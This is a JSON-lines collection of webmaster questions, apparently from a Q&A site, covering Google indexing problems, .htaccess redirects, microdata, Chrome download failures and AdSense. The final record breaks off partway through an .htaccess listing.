{"id":"21658","title":"What could keep Chrome from downloading files?","text":"I run a subscription-based site for poker training videos. In the recent past, some portion of our subscribers have developed problems downloading our videos. The affected users are exclusively seeing problems while using Chrome as their web browser, however there are other users who use Chrome with no problem. Here is the exact behavior they are seeing: * Pasting the url of a video file directly to their browser produces about:blank and the file does not download * Clicking the link normally produces no result (e.g. it behaves like a dead link) * Right-clicking the link and opening in a new tab\/window produces about:blank and the file does not download * Right-clicking the link and choosing Save-As produces a 5 to 10 second delay, after which they get a Save As dialog. After they choose a location, the download proceeds at full speed. Again, this problem has only presented itself for a subset of users browsing with Chrome. All affected users have the latest version of Chrome, but so do some of the unaffected users. All affected users have Windows Vista or Windows XP. As far as we can tell (small sample size), none of the affected users have Windows 7 and none of our users on Windows 7 have been affected. What could be causing this problem? How could it be solved? Edit: Here is a copy of the headers from one of these downloads. HTTP\/1.1 200 OK Date: Sun, 06 Nov 2011 18:35:56 GMT Server: Apache Last-Modified: Mon, 24 Oct 2011 11:57:29 GMT ETag: \"180cc292-5229699-4b00a208b3c40\" Accept-Ranges: bytes Content-Length: 86152857 Keep-Alive: timeout=10, max=29 Connection: Keep-Alive Content-Type: application\/octet-stream Edit: Some updates. Chrome extensions do not seem to affect this. One of the affected systems was upgraded from Windows XP to Windows 7, with no other changes made. That system now downloads properly. This issue doesn't only affect the WMV videos. It happens with FLV and M4V as well. A sample file is at http:\/\/www.grinderschool.com\/videos\/zbn9Y7TbeWcUbCPFNnLd\/Carroters001.wmv"}
{"id":"52780","title":"Do dynamic URLs have their own PageRank?","text":"Do URLs with parameters have their own PageRank for the given parameters values or is the PageRank aggregated at basic page URL level ignoring the parameters?"}
{"id":"65549","title":"Microdata reuse within another item","text":"I've been reading around and I feel I've hit a wall. My intention is marking up my site with micro-data in a way I won't need to re-declare items that already exist in the page. For example, my header will always contain info regarding the \"Organization\" that the website represents. Within the \"Products\" that I offer I can specify the \"Brand\" of that product. So the product's property \"brand\" will replicate the \"Organization\" info mentioned in the header. Now I don't think I'm supposed to repeat the organization's markup within the brand property of the product item, since I feel there should be a way to reference that organization item directly. I just haven't found a way to do this, are there any ideas? I've checked this answer and although useful it doesn't address my issue. I tried messing with it however to give you an idea of my intentions: <span itemscope itemtype=\"http:\/\/schema.org\/Organization\" itemref=\"myCompany\"> <meta itemprop=\"name\" content=\"Company Name\" \/> <meta itemprop=\"url\" content=\"http:\/\/example.com\/\" \/> <meta itemprop=\"description\" content=\"description\" \/> <\/span> <span itemscope itemtype=\"http:\/\/schema.org\/Product\"> <span itemprop=\"brand\" itemscope itemtype=\"http:\/\/schema.org\/Organization\"> <meta itemprop=\"id\" content=\"myCompany\" id=\"myCompany\" \/> <\/span> <meta itemprop=\"name\" content=\"Foo product\" \/> <meta itemprop=\"description\" content=\"You can do Bar with it\" \/> <\/span> This doesn't work since it adds the the \"id\" property to both \"Organization\" and \"Product\". **##### EDIT1: #####** zigojacko's answer didn't really go towards what I was expecting, since he uses a single container with all the information needed to present all the markup for his product. However in my case the site layout isn't broken down into a container that would hold all the necessary information, as my company info is within the header and the products\/offers are near the footer (as the main form to define those offers is above the fold) and other info is scattered between each of those containers. As such I would eventually like to link the company (that resides in the header) to the brand of each product (that reside near the footer), I just wouldn't like to repeat all the code necessary to describe the company and therefor would prefer linking to some sort of item identifier. There is also the possibility of nesting every bit of content within the page to the company, but as a comment to this question I mention that specific question in the webmasters-stack-exchange. So I know how to pull that type of solution off, I'm just wondering if there's the possibility of referring to an existent item elsewhere on the page. **##### EDIT2: #####** In the comments of this question I might have found a better way to explain what I mean. > By pointers I mean an html attribute that could reference an Item. In the > code example I gave, I have a loose (not nested) Organization that I would > like to be inserted into my second item Product within it's brand property, > but without having to copy+paste or echo again within the Product. I tried > to simulate that behavior with the itemref attribute."}
{"id":"8429","title":"Will AJAX-fetched material be invisible to search engines?","text":"With the new method of doing things that I've put together, my page content is not actually on index.html or any of the other pages. Instead, it is in index.txt and merely fetched by AJAX. Is my content, which is in index.txt, going to be invisible to the search engine spiders? Or will it load the AJAX-fetched material and then analyze the whole thing once the material is fetched?"}
{"id":"20155","title":"Bots and scripts","text":"> **Possible Duplicate:** > Will AJAX-fetched material be invisible to search engines? Can bots understand what's going on in javascript or vbscript? Most of the social networking modules and ad codes consist of just a js file which appends an iframe (google+ button, facebook like button, facebook likebox, google ads etc). Do bots understand that there are iframes involved in the site? Do bots run javascript and check the result? Or at least try to understand what's going in that js?"}
{"id":"65544","title":"Does having a single image referenced from multiple pages affect SEO?","text":"I would like to have a collection of images that are rendered into the browser. If for example I had **Images:** [img1 ; img2 ; img3 ; img4 ; img 5;] **Category:** [cat1 ; cat2 ; cat3] **Problem:** Assume image 1 belonged in both cat1 and cat2. Would it be better for SEO purposes to upload image1 with different alt tags? OR should I upload the same image twice using different URL's? **_Note** : I have folder pattern such as_ * `\/dir\/cat1\/` * `\/dir\/cat2\/` * `\/dir\/cat3\/` The image goes in the folder in which category it belongs. So if the image is best not duplicated, I will use the first choice."}
{"id":"2402","title":"Why isn't my website in Google search results?","text":"I've made a website one month ago and it still isn't indexed by Google. I haven't change any setting in the _robots.txt_ file. I've tried to search for `site:websitename.com` but I still can't see it, and I have a Google Analytics account. Why isn't my site in Google results?"}
{"id":"45264","title":"Google not reading my website Content and Title, Meta tag and Description also?","text":"I have a new website and my website Home page content, Meta tag also not reading google and not index, any one can help me my website: http:\/\/www.packerandmoversindelhi.in"}
{"id":"34231","title":"How long does it take for Google Webmasters to index site after submitting sitemap?","text":"> **Possible Duplicate:** > Why isn't my website in Google search results? I have submitted my website today into Google search using Google Webmasters using sitemaps. The status on the sitemap says OK and it shows that 12 urls have been recognized. I was wondering how long does it take for the link to get indexed, as the indexed url option says > \"No data available. Please check back soon.\" I am not sure if it is showing this message due to some error, or everything is fine."}
{"id":"68947","title":"Google pulls keywords from only two pages","text":"When I sign into Google Webmaster and view Google Index > Content Keywords, it only shows keywords off of a single page, and from my site map. It's a small site with five pages, but it's only getting keywords from the single page. Also when I go under Google Index > Index Status it shows only two pages have been indexed, and it's stayed that way for about a month. I assume that this is the site map and the page where all of the keywords are being pulled from. My robots.txt file allows all pages to be crawled, and if I search \"site:mysite.com\" it shows all of the pages. I can't seem to find a way to see what pages have been indexed in Webmaster. The site has been up for a couple of months. I have submitted a sitemap which has all of the pages. Why isn't Google gathering keywords from the other pages? How do I get the other pages indexed?"}
{"id":"18651","title":"Pages are not searchable by Google","text":"> **Possible Duplicate:** > I cannot see my website in google After migrating my website (based on Drupal CMS) to WebHosting (it's about two months there), I noticed that my pages aren't searchable by Google. It finds nothing, even though it should clearly find my website. Same thing happens when I want to know the ranking of my website. Do you know where the fault could be?"}
{"id":"54433","title":"A relatively new blog seems to be getting very poor Google indexing","text":"I have a new blog that is 2 months old. In the first few weeks, it was getting indexed nicely and my GoogleWebmaster reports were showing that it was getting crawled and began ranking for some terms. Then as I kept writing, the GoogleWebmaster report thinned out and showed less and less terms that this blog ranks for. Now there are only 4 terms with one of them being my name. Is there something I need to do to keep the old posts to remain indexed and crawled? Thanks, Alex"}
{"id":"22613","title":"How to make google get to know my domain name","text":"> **Possible Duplicate:** > I cannot see my website in google I have a strange problem with my website. I have a website, let's say Abcdefg.com. Website is live for 2 months and google still doesn't know it. While searching for my domain name 'abcdefg', google displays results for similar phrase (abcdef) but not fot mine. How to make google get to know my domain name? Website and sitemaps have been submitted via Google Webmaster Tools."}
{"id":"68551","title":"How to improve image indexing","text":"I have a curious problem: In Google Webmaster Tools, it shows that from my sitemap 330 images submitted and only 6 are indexed. I try to put alt tags, descriptive names, everything by the book, but still no results. What can you suggest to improve image indexing by Google or any other search engine :)."}
{"id":"1574","title":"How long did it take for your new website to be indexed by search engines","text":"> **Possible Duplicate:** > Why isn't my website in Google search results? I have added my website to the webmaster tools of some major search engines already, and supplied the sitemap for the website. I have been waiting for exactly 3 weeks now and still no data in the webmaster tools. I have also did some link building, and the click-trough link to my website could be found in the search results from day one. How long did it take for your website to get indexed? And why does is take so long?"}
{"id":"56544","title":"Google not showing the sitemap after submitting it","text":"I am trying to submit the sitemap to the Google. I have already submitted the sitemap - xml path to Google 2-3 times. but when I put my website URL on Google search, it not showing the menus or it not showing indexes in search. What should I do ? Anything wrong ?"}
{"id":"47312","title":"Multilingual subdmain on different hosting server: will this be indexed by search engines?","text":"I have a Japanese language sub-domain: ja.example.com, which is hosted by server A. The root domain (example.com) is hosted by server B. They have completely different IP addresses: (e.g.) 205.56.78.15 vs. 56.45.03.12. Will the sub-domain be indexed by search engines? The sub-domain has been live for one month and there have been no visits by organic searches. Thanks"}
{"id":"14254","title":"My Blog not not showing in Google Search Results","text":"> **Possible Duplicate:** > I cannot see my website in google Hello Everyone, yesterday, i created two blog entries and published them on blogger but it is not showing up in google search results. How long do i have to wait before i can see it in google search results (before google crawls the blog). i have already shared the address on couple of sites and there are almost 80 page views from three different referrals. Any help\/suggestion is highly appreciated. regards"}
{"id":"56066","title":"How do services that make subsites (ie. new subdomains) get those sites indexed by Google and other search enginex?","text":"Services like tumblr, github pages, quora blogs, etc. make new subdomains when a user signs up or makes a site. So the subdomains are like: blogname.tumblr.com , pagename.github.io, blogname.quora.com, etc. How do google and other search engines find out about these new sites? Is it as simple as having a sitemap.xml file being \"resubmitted\" to google? See https:\/\/support.google.com\/webmasters\/answer\/183669?hl=en. I know that you can resubmit sitemaps to google via an HTTP request, but what about for new sites without a previously submitted sitemap? Or do the owners of the subdomain (the user who set up the new site) have to submit their site manually via https:\/\/www.google.com\/webmasters\/tools\/submit- url ? Just getting started learning about SEO and how google crawls the web. Couldn't find anything that answer this (or I'm just bad at Google), hoping someone can answer. Thanks! Edit: I read through this: Why isn't my website in Google search results? But the question still holds for sites where subdomains are generated dynamically."}
{"id":"45239","title":"Website Not Showing for Keywords in Google Search","text":"I have a Website `www.rushinformation.com` 4 Months old and I always update my Website almost Everyday...But the Problem is that When I type my keyword 'Rushinformation' only in Google Search Results it is Not Shown anywhere in search Results. However when I type `rushinformation.com` or `www.rushinformation.com` it displays my site... I have submitted website to Webmaster tools and Analytics with my sitemap...So please tell me how to fix this problem."}
{"id":"22336","title":"Site not updating on Google","text":"> **Possible Duplicate:** > I cannot see my website in google I uploaded my site a week ago. Before, I only had \"Very Soon\" on the server. Google still shows \"Very Soon\" even though the content has been new for one week now! I pinged, resubmitted by site, but it still not showing up!"}
{"id":"56613","title":"Site does not appear in Google organic search","text":"My site is showing up in organic search of Yahoo and Bing. But no trace of it on Google. I am using wordpress and a plugin called Google XML Sitemap. Also signed the site in Webmaster Tools and Google Analytics. Still not appear on the site. Even typing the name of the site itself. What can be happening? It is possible the website of a competitor be blocking my website on Google?"}
{"id":"47824","title":"Website not showing up on Google after removal of blocking robots metatags","text":"A friend asked me to take a look at their website, which had been online for several months, but did not show up on Google. I noticed that they had a subdomain which did show up, so the query site:hisdomain.com showed some results, but all of them were from the subdomain. The query site:hisdomain.com -SubdomainTitle resulted in zero results, since it blocked all results from the subdomain, and there were no results from their main domain. The following query yielded zero results, too: site:www.hisdomain.com Then I noticed that they had some SEO Wordpress plugin active which was configured to generate `noindex, nofollow` meta tags on their pages. I removed this and the meta tag was gone. I logged in to **Google Webmasters** , submitted some **Fetch as Google** queries and told Google to **Submit to Index** them (on both `domain.com` as well as `www.domain.com`). I told my friend his site would appear on Google the next few days or weeks. **This was several weeks ago, and his site still doesn't appear.** Then I checked their **Index Status** on both `domain.com` and `www.domain.com`. Here's how it looks for `www.domain.com`:   It's strange that the `Blocked by robots` count has always been `0`. If the `robots` metatag was the reason for Google not indexing their site, there would have been some `Blocked by robots` results, I suppose. **So, there must be another reason why Google doesn't index their site. Any ideas? How can I analyze the situation further?** **EDIT:** Here's the URL: http:\/\/www.lab25.ch. The subdomain is not directly related to the main URL: http:\/\/addon-katakunst.lab25.ch. And no, **it's not duplicate content**."}
{"id":"45545","title":"Changing GoDaddy Webmaster tools options","text":"A client of mine (for school) has a website hosted on GoDaddy which we wants my team to help him increase his marketability on Google, because currently, when his company name is Google searched no relevant results are displayed. So we were going to setup Google Webmaster Tools for him, so we can help him get there. Now we logged into his GoDaddy dashboard, and it turned out he already had one setup through GoDaddy, where they assigned him a gmail account. I cannot figure out why his site won't show up at all on Google. Does anyone know why it isn't, like what kind of settings can I change to help him out? Also, we were trying to change the gmail account his Webmaster Tools is associated with, is this possible? Ultimately, I'm trying to get his site seen on Google, through the Webmaster Tools, but i cannot figure out why it hasn't worked yet. Any help would be appreciated, thanks."}
{"id":"50957","title":"My website pages not getting indexed by Google","text":"The website `www.itztechgadget.com` isn't getting indexed at all. When I check about it in Websmater Tools, it shows 0 pages indexed. I'm not getting why is this problem happening. Googlebot fetches and submits it to be indexed but none of website's pages are indexed."}
{"id":"38773","title":"Google not listing my web site","text":"I have a site which is more than 2 months old and it's not showing up when you directly type the URL into Google. Here is the link of site: www.icarda.org However, the site is listed in Bing and Yahoo without any problem. Please help me to solve this issue."}
{"id":"63019","title":"Some website pages not indexed by Google although followed the recommended steps","text":"I have built a website (www.shareall.nl) in wordpress and did some SEO (metadescriptions, headings, links, alt text, microdata, sitemap, robots.txt, etc) using Yoast Wordpress SEO plugin. I did not squeezed everything out of it but the site ranks pretty well in Google on important keywords regarding Prezi (top 5). The problem however is, that there is a set of pages that are not being indexed and these pages are relevant to my customer? One of the pages is http:\/\/www.shareall.nl\/prezi-trainingen\/prezi-vervolgtraining (I cannot post more links due to my reputation on stackoverflow, but they are all about training). I know (as the moderator told me) that there is another question about this topic but I have followed all recommendations given there without success. I would like to get more ideas of what to try and hope someone can help me with this. This is what I have done so far or are some facts about the site which might be relevant: * submitted sitemap and saw most of the pages being indexed * robot.txt is not preventing pages from being crawled * manually crawled pages using google's webmaster tools and submitted them afterwards * the website itself has multiple links from other pages towards the training pages * don't have noindex set for concerned pages * domain is not new and exists for numerous years now (since 2011) * the website **is** new and is launched this year (february 2014) * I have multiple links within the site pointing to the missing pages Again any help is greatly appreciated!"}
{"id":"17266","title":"Major Indexing problem with my site","text":"> **Possible Duplicate:** > I cannot see my website in google Hey guys I am having problem with indexing my site http:\/\/www.loosediamondschicago.com which is in wordpress hosted on godaddy. Its about two weeks but still no search engine indexing me. **Some Points Your Should Know:** 1. The site hosted in wordpress. 2. When the site was in development I turned off the search engine visibility from the wordpress dashboard. After turned it on I checked the meta tags and i have found no noindex. So, i guess that is not the issue. 3. To my previous experience with wordpress i know wordpress is smart enough to automatically remove the **www** in url but in this case its not. 4. I have sent sitemap via google webmaster tool about 4 days ago but still no indexing. However webmaster tool is showing error for using now **www** url in the sitemap while my urls are **www**. But I believe if i dont have sitemap still my site should be crawled right? 5. The domain client bought was use before by other people but expired couple of years ago then my client again registered it. 6. I have checked if the domain in blacklisted or not. I have found the result not blacklisted. 7. I have get couple of backlinks hoping that my site will get indexed but still no hope. I did not faced this kinds of problem before. So people please advice. I am now check godaddy to find out if any crawl errors. I will update the post when i have it. **Update** The site is up for one and half month but search engine allowed about 2-3 weeks. I blocked the search engine when the site was in development."}
{"id":"9972","title":"How can I make fonts render the same way across different web browsers?","text":"I am building a website for a client, and we had hoped to use plain text, not images in the navigation bar. The font we are using is Century Gothic (I believe that this font is available on the majority of PCs and Macs) The problem is, that on different browsers the font renders significantly differnt. In Chrome we got it looking the way we want, but in firefox the text is smaller and bolder. Aside from writing browser specific javascript to alter the font properties, are there any other options to standardize the way the fonts are rendered cross-browser. Perhaps some library or API? Maybe its a matter of being more specific in declaring font properties? Honestly I am stuck and need help."}
{"id":"50116","title":"Is it possible to use canonical tag in Blogger posts?","text":"I found one of my blog post was cached by Google (`www.example.com\/post.html`). I found that comment page of the post was also cached (`www.example.com\/post.html?showComment=1372054729698`). These two pages are showing in Google SERP when I checked cached posts of my blog. Is it possible to use canonical tag on the post `www.example.com\/post.html?showComment=1372054729698` so that Google won't penalize my original post? Is there any other ways to redirect a blog post?"}
{"id":"54041","title":".htaccess 301 Redirect","text":"How do I make it so all traffic is directed for the entire site and all subdirectories from non-www to www Here is my .htaccess contents: RewriteEngine on <IfModule mod_suphp.c> suPHP_ConfigPath \/home\/vivalast <Files php.ini> order allow,deny deny from all <\/Files> <\/IfModule> RewriteCond %{HTTP_HOST} ^domain-name.com$ RewriteRule ^(.*)$ \"http\\:\\\/\\\/www\\.domain-name\\.com\\\/$1\" [R=301,L]"}
{"id":"62897","title":"URL redirection in GoDaddy","text":"I have two domains from GoDaddy. How do I redirect automatically from http:\/\/www.domain1.com\/article.html to http:\/\/www.domain2.com\/blog\/article.html"}
{"id":"47969","title":"Simple RewriteRule","text":"I'm trying to write a RewriteRule to make a simple url. I want users to be able to type enter www.example.com\/somepage and have it take them to www.example.com\/abc\/somepage.php How can this be done in .htaccess? I've tried these to no avail: RewriteRule ^somepage$ abc\/somepage.php [L] RewriteRule ^\/somepage$ \/abc\/somepage.php [L] Your help is much appreciated."}
{"id":"68633","title":"Google Indexing PHP pages with and without backslash","text":"How can we use the _.htaccess_ file to only have our pages indexed by Google without the trailing slash. Right now both pages are being indexed."}
{"id":"61598","title":"How to best redirect user to new site","text":"I am planning the launch of a new site and trying to figure out the best way to redirect users from the old site. The old site (200+ pages) will be completely retired. I'm planning on moving the domain name to our new server, but the only page that will remain will be the index page. The site was built on a CMS that is not compatible with an Apache server. The new site has a completely different page hierarchy, page titles, and domain name. So, I'd like some guidance on the best techniques to do the following: 1. Anytime someone visits the old_domain_name.com, either from Google or other external links I'd like for them to be redirected to new_domain_name.com. i think this can be accompliched with a simple Javascript redirect from old_domain_name.com. 2. When someone tries to visit old_domain_name.com\/about_us.htm I'd like for them to be redirected to new_domain_name.com\/new_directory\/about.htm. I'd need to do this for 200+ pages. Any insight will be appreciated. Thanks!"}
{"id":"53872","title":"301 dynamic redirect","text":"Please note that I would like to change the name of the server's folder (lets say \"examplefolder\") in which I have installed my phpbb site and thus I would like to do a 301 redirect in order to preserve page rank. Could you please let me know how to perform such an action in order for: www.example.com\/examplefolder\/ will be done: www.example.com\/administrator\/ Actually, I would like to redirect the URLs especially for www.example.com\/examplefolder\/index.php www.example.com\/examplefolder\/viewforum.php www.example.com\/examplefolder\/viewtopic.php"}
{"id":"48298","title":"Force url to use www","text":"I'm confused about how to force my url to use www in the address. I have a .htaccess code like this: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> I'm changing RewriteRule . \/index.php [L] with RewriteRule (.*) http:\/\/www.mysite.com\/$1 [R=301,L] but I still get an error. The page isn't redirecting properly when I open `http:\/\/www.mysite.com\/category`"}
{"id":"54012","title":"How to add www domain to Google Webmaster Tools (from GoDaddy)","text":"When I setup my domain on GoDaddy, I don't have the option to use `www` with the domain name. If want to change the settings on Google Webmaster Tools -> preferred domain to use `www`, I need to verify my domain with `www`. How do I setup the domain to use `www`? Is using `www` important?"}
{"id":"5349","title":".htaccess permanent redirect to www","text":"I have a WordPress installation that is not redirecting URLs not starting with `www`. Example: `http:\/\/example.com\/dir\/` doesn't send to `http:\/\/www.example.com\/dir\/` instead goes to `http:\/\/example.com\/`. How do I change the _.htaccess_ below to always redirect to the page either using `www` or not? # BEGIN WordPress RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] # uploaded files RewriteRule ^([_0-9a-zA-Z-]+\/)?files\/(.+) wp-includes\/ms-files.php?file=$2 [L] # add a trailing slash to \/wp-admin RewriteRule ^([_0-9a-zA-Z-]+\/)?wp-admin$ $1wp-admin\/ [R=301,L] RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] RewriteRule ^([_0-9a-zA-Z-]+\/)?(wp-(content|admin|includes).*) $2 [L] RewriteRule ^([_0-9a-zA-Z-]+\/)?(.*\\.php)$ $2 [L] RewriteRule . index.php [L] # END WordPress"}
{"id":"53877","title":"Change of URL by changing folder's name in server","text":"If I change the folder's name in which I have my web pages, from examplefolder\/ to: administrator\/ so the file \"viewtopic.php\" that originally had URL: www.example.com\/examplefolder\/viewtopic.php it will have a new URL: www.example.com\/administrator\/viewtopic.php\/ Can I use the 301 redirect for such a case? or 301 redirect could be used only in the case that a new folder has been created (and not rename of the existing one)"}
{"id":"45517","title":"Issue with Apache redirection","text":"I want to redirect `mysite.com` or `http:\/\/mysite.com` or `www.mysite.com` or any other format given my user to `http:\/\/www.mysite.com`, I'm able to achieve this by rewriting following lines in my `.htaccess` file Rewritecond %{http_host} ^mysite.com RewriteRule ^(.*) http:\/\/www.mysite.com\/$1 [R=301,L] But I want do this from `Apache`,So I've added following line in `Virtual host conf file of the site` and removed above two lines from `.htaccess` Redirect 301 \/ http:\/\/mysite.com\/ But whenever I'm trying to access the site following error is displyaing, Error 310 (net::ERR_TOO_MANY_REDIRECTS): There were too many redirects. where I'm doing the wrong ?"}
{"id":"30772","title":"Add more than one host to user login privileges in phpMyAdmin","text":" As the title reads, I want to add more than one host into the _Host_ field in phpMyAdmin's user privileges, to allow a user to login from a number of different hostnames. How can I accomplish this?"}
{"id":"26068","title":"Is there a way to hidden facebook advertisements on application iframe?","text":"Probably it's not possible, but i need to confirm it. If someone knows it, tell me please :) thanks."}
{"id":"43162","title":"Tracking multiple domains under subdomain","text":"I need to setup a Google Analytics code for one website with multiple domains, but they are in form of subdomain.**foo**.com subdomain.**bar**.com Subdomain is the same (it doesn't really matter that much), but main domains are differents. So now I use: _gaq.push(['_setDomainName', 'subdomain.foo.com']); and _gaq.push(['_setDomainName', 'subdomain.bar.com']); is this correct?"}
{"id":"43161","title":"Multiple PHP 5.x version for different directory","text":"Is this thing even possible because I searched every where but all I could find was this one post ? Using .htaccess or using `AddHandler`\/`Action` MIME module Directive ? I have compiled all Apache, PHP 5.2 and PHP 5.3 on CentOS at path `\/usr\/local\/apache`, `\/usr\/local\/php52` and `\/usr\/local\/php53`. I have the `libphp5.so` modules in my respective php folder by using symlink at `\/usr\/local\/php` and `LoadModule` directive. I am able to switch PHP versions too but now I want that different directories to run with different PHP 5.x version. Is it possible ? I don't mind recompiling PHP too."}
{"id":"43167","title":"Buying a top level domain specific to my industry, will it improve my seo ratings?","text":"Currently we run a few websites selling products in the travel industry using .com and .co.uk extensions. Would our search rating improve if we were to buy one of the .travel domains ? So we would replace, or more likely supplment the following mycompany.com myCompany.co.uk with : mycompany.travel Bing and google rankings are, unsurprisingly, our main concerns."}
{"id":"64940","title":"What is the correct DTD for Schema DATA placement in XHTML pages?","text":"We get W3C validation error after placing Scheme Data in our website which was built in XHTML. > Line 198, Column 41: there is no attribute \"`data-id`\" > > > <script type=\"IN\/FollowCompany\" data-id=\"322498\" data- > counter=\"right\"><\/script> > (Link to the validator result) Will changing the DTD solve this? We use, <!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\">"}
{"id":"2536","title":"Is it possible to make all html links to share the same title?","text":"The thing is I have a table containing ~2000 rows where each row contain a link that has the same title e.g. <a id=\"1\" title=\"A very long string common to all my links that i would like to have only once in the file in order to gain weight\" href=\"goThere1\">My 1st link<\/a> [...] <a id=\"2000\" title=\"A very long string common to all my links that i would like to have only once in the file in order to gain weight\" href=\"goThere2000\">My 2000th link<\/a> I'm wondering if it is possible not to have this very long title string 2000 times !?"}
{"id":"13485","title":"How to restrict the download of all files in a folder?","text":"I have several .pdb files, which should be viewed in my website by clicking a link on a page. But when a pdf file opens, in the address bar it is visible the directory where all .pdf files reside. SO if the user will write in address bar http:\/\/mySite.com\/myDir he will see and be able to download all files at once. But I don't want! When I [chmod 644 myDir], the files become not visible even for my site - i.e. you can not open them by clicking the link I have mentioned. How to solve this problem?"}
{"id":"15838","title":"How can I prevent people from looking at a listing of files in parent directory if I haven't uploaded index.html?","text":"> **Possible Duplicate:** > How to restrict the download of all files in a folder? I haven't uploaded index.html or index.php to my root directory. How can I prevent people from looking at a listing of files in parent directory?  Also, is it possible for people to obtain a list of all the files in the root directory once I upload index.html? I'm currently using .htaccess and htusers to prompt someone to enter a username and password when they try to access any file in the root directory. This may sound like a weird request but would it be possible to have them come to the site (without an index.html) and just have them not see the files? All it would say on the page would be the following: **Index of\/** _Apache Server at mysite.com Port 80_"}
{"id":"25853","title":"How to make upload images harder to access from url?","text":"> **Possible Duplicate:** > How to restrict the download of all files in a folder? I am wondering how Facebook, Google+, Twitter and so on prevent images users upload, from being navigated like: http:\/\/interactionhero.com\/images\/ .... I have an application where users upload there folder \/profile (chmod 777), and if I go to www. ___ _.com\/profile , all the images are accessible. Is there a way I can prevent this or improve it?"}
{"id":"67538","title":"Implementaiton of rel=\"prev\" and rel=\"next\" inside a site code?","text":"I searched a lot regarding my question, but I never found the exact piece of information explaning how to implement rel=\"prev\" and rel=\"next\" inside the code of a certain site? I'll be very greatful if some could give me good imformation on this matter."}
{"id":"68141","title":"Adsense value per click","text":"On my website, I have seen a significantly decline in revenue from adsense in recent weeks. My amount of clicks is the same as prior months, but the payout is way less. Does anyone know or can direct me to how google determines the payout per click?"}
{"id":"51867","title":"Does a lead-to screen with AdSense ad conform to Google's rules?","text":"Re: Google's ad placement policy I have noticed that when clicking on some Forbes links, I am taken to a screen with an ad in the middle - at the top there is a link to skip the ad. Upon clicking on the skip link I am taken to the article I want to view. I want to implement something similar on my sites, where, when clicking on a search result, a the results window first displays one AdSense add on the screen with a similar UI as what I saw on Forbes. Currently, when a user clicks on a result, a new tab\/window opens with the result. What I am proposing is that before the result appears, the screen displays a \"Continue to result\" link at the top in large letters, and in the center of the page, \"Advertisement\" with the ad below. This is the only popup that is user initiated and there are no other popups on the site. Navigation elements are not modified in any way. Will I get penalized by Google for implementing this?"}
{"id":"58034","title":"How to get the number of visits by page, for pages from a website?","text":"How to get the number of visits by page, for _all_ pages from a website? (I use Google Analytics, and know how to create a report for that, but I only have the 10 first pages)."}
{"id":"58037","title":"Submitting sitemaps with 2 different websites but the same content","text":"I have two domains running on the same server with the same IP (same content). For example: the sitemap of `example1.com` represents one website and `method1.com`, `method2.com` represent many pages will come. So can I use only one sitemap for both or make different sitemaps? <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\" xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\" xsi:schemaLocation=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9 http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\/sitemap.xsd\"> <url> <loc>http:\/\/xyz.com\/<\/loc> <changefreq>monthly<\/changefreq> <priority>1.00<\/priority> <\/url> <url> <loc>http:\/\/abc.com<\/loc> <changefreq>monthly<\/changefreq> <priority>0.80<\/priority> <\/url> If I'm working on the second URL it's affecting the homepage also. Whether I need to create 2nd URL for sitemap or homepage url?"}
{"id":"57419","title":"My email based support form on my shared host is being blocked by Gmail","text":"On my site (developed with `ASP.NET`, if that matters) I have a support form, which is nothing more than three fields (i.e., name, email, and message) plus a Send button. The form code generates emails from provided user input and sends them to: `support@mysite.com`. The form uses this address to send the messages: `sender@mysite.com`. All the email for `mysite.com` is handled by Google Apps for Business. The problem is: Google recently started marking emails sent from `sender@mysite.com` as spam: Delivery to the following recipient failed permanently: support@mysite.com Technical details of permanent failure: Google tried to deliver your message, but it was rejected by the server for the recipient domain mysite.com by aspmx.l.google.com. [74.125.25.26]. The error that the other server returned was: 550-5.7.1 [ip-address-was-here 7] Our system has detected that this message is 550-5.7.1 likely unsolicited mail. To reduce the amount of spam sent to Gmail, 550-5.7.1 this message has been blocked. Please visit 550-5.7.1 http:\/\/support.google.com\/mail\/bin\/answer.py?hl=en&answer=188131 for 550 5.7.1 more information. sz7si15854448pab.203 - gsmtp Obviously, visitors on my site **can** put spam messages in my support form. Anyway, I would prefer that these messages to end up in my Spam folder (or better the Inbox!) of `support@mysite.com`. So, what can I do to prevent Google from blocking `sender@mysite.com`? Shall I use a 3rd-party service for the support form? Or shall I tweak my site \/ form code somehow? My site is on shared hosting if that matters."}
{"id":"48616","title":"Will Google index images from HTML select tag","text":"If i have code like this: > > <select> > <option value=\"path\/to\/image1.jpg\">Image 1<\/option> > <option value=\"path\/to\/image2.jpg\">Image 2<\/option> > <option value=\"path\/to\/image3.jpg\">Image 3<\/option> > <option value=\"path\/to\/image4.jpg\">Image 4<\/option> > <\/select> > Will Google index images from the select tag?"}
{"id":"38817","title":"How do I change pages registering as 404 to 200","text":"I have this problem. After relaunching my site: http:\/\/www.kgstiles.com, traffic dropped immensely(about 60%). After troubleshooting for a week and a half - losing thousands of dollars off of lost traffic in the process, I found that Google was getting a 404 error at the end of many of my 301 redirects(so it wouldn't index the new pages). Most of of the pages, though, would register in my browser. They registered as a 404 error in Google's index as well as a 404checker. So my first question is: could this be what's causing my loss of traffic? and second: how do I fix it? I'm desperate! Any help is appreciated! # BEGIN s2Member GZIP exclusions <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteCond %{QUERY_STRING} (^|\\?|&)s2member_file_download\\=.+ RewriteRule .* - [E=no-gzip:1] <\/IfModule> # END s2Member GZIP exclusions # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^moreinfo\/(.*)$ http:\/\/www.kgstiles.com\/moreinfo$1 [R=301] RewriteRule ^healthsolutions\/(.*)$ http:\/\/www.kgstiles.com\/healthsolutions$1 [R=301] RewriteRule 